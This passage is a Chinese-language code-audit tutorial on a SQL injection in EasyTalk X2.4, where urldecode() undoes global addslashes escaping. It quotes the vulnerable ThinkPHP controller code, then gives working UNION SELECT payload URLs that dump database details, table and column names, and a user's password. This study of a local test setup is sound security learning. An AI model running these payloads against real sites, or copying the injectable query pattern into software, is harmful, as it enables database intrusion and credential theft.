0x01 背景
现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号。遇到这种情况我们就需要找一些编码解码的函数来绕过全局防护,这篇文章讲urldecode()的情况,同样大牛请自觉绕道~
漏洞来源于乌云:http://www.wooyun.org/bugs/wooyun-2014-050338
0x02 环境搭建
看背景我们使用了低版本的easytalk程序,版本为X2.4
①源码我打包了一份:http://pan.baidu.com/s/1bopOFNL
②解压到www的easytalk目录下,按照提示一步步安装即可,遇到问题自行百度或谷歌,成功后访问如下图:
0x03 漏洞分析
首先看下源码结构,用的ThinkPHP框架,比较复杂:
有兴趣的可以去研究下再继续往下看,新手可以知道ThinkPHP对接收的参数是有过滤的,并且根据你服务器是否开启GPC会做相应的处理:
1./ThinkPHP/Extend/Library/ORG/Util/Input.class.php文件第266行:
/** +---------------------------------------------------------- * 如果 magic_quotes_gpc 为关闭状态,这个函数可以转义字符串 +---------------------------------------------------------- * @access public +---------------------------------------------------------- * @param string $string 要处理的字符串 +---------------------------------------------------------- * @return string +---------------------------------------------------------- */ static public function addSlashes($string) { if (!get_magic_quotes_gpc()) { $string = addslashes($string); } return $string; } |
2.使用Seay代码审计系统的全局搜索功能,搜索包含关键字为”urldecode”的文件,发现TopicAction.class.php包含一个对接收的参数keyword进行urldecode并且有sql查询的地方:
3.我们跟进这个php文件,发现接收keyword就对其进行urldecode转码,然后立即带入查询,造成注入:
public function topic(){ $keyword = $this->_get(‘keyword‘, ‘urldecode‘);//使用ThinkPHP框架自带的_get对接收的keyword参数进行urldecode(详见http://doc.thinkphp.cn/manual/get_system_var.html) if ($keyword) { $topic = D(‘Topic‘)->where("topicname=‘$keyword‘")->find();//ok,带入查询了 if ($topic) { $isfollow = D(‘Mytopic‘)->isfollow($topic[‘id‘], $this->my[‘user_id‘]); $topicusers = D(‘MytopicView‘)->where("topicid=‘$topic[id]‘")->order(‘id desc‘)->limit(9)->select(); $widget = M(‘Topicwidget‘)->where("topicid=‘$topic[id]‘")->order(‘`order` ASC‘)->select(); if ($widget) { foreach ($widget as $val) { $topicwidget[$val[‘widgettype‘]][] = $val; } } $this->assign(‘topicwidget‘, $topicwidget); } else { $count = $isfollow = 0; } $this->assign(‘comefrom‘, ‘topic‘); $this->assign(‘keyword‘, $keyword); $this->assign(‘topic‘, $topic); $this->assign(‘topicusers‘, $topicusers); $this->assign(‘isfollow‘, $isfollow); $this->assign(‘subname‘, ‘#‘ . $keyword . ‘#‘); $this->display(); } else { header("location:" . SITE_URL . ‘/?m=topic&a=index‘); }} |
0x04 漏洞证明
1.我们构造获取数据库相关信息的POC:
http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3,concat(database(),0x5c,user(),0x5c,version()),5 %23
成功获取到信息如下:
查看下MySql日志,发现成功执行了sql语句:
2.我们构造获取数据库eazytalk所有表的POC:
http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3, (select GROUP_CONCAT(DISTINCT table_name) from information_schema.tables where table_schema=0x6561737974616C6B),5%23
成功获取所有表信息如下:
4.构造获取表et_users所有字段信息的POC:
http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3, (select GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name=0x65745F7573657273),5%23
成功获取表et_users所有字段信息如下:
5.构造获取et_users表第一条账户的POC:
http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3, (select GROUP_CONCAT(DISTINCT user_name,0x5f,password) from et_users limit 0,1),5%23
成功获取表admin的账户密码如下: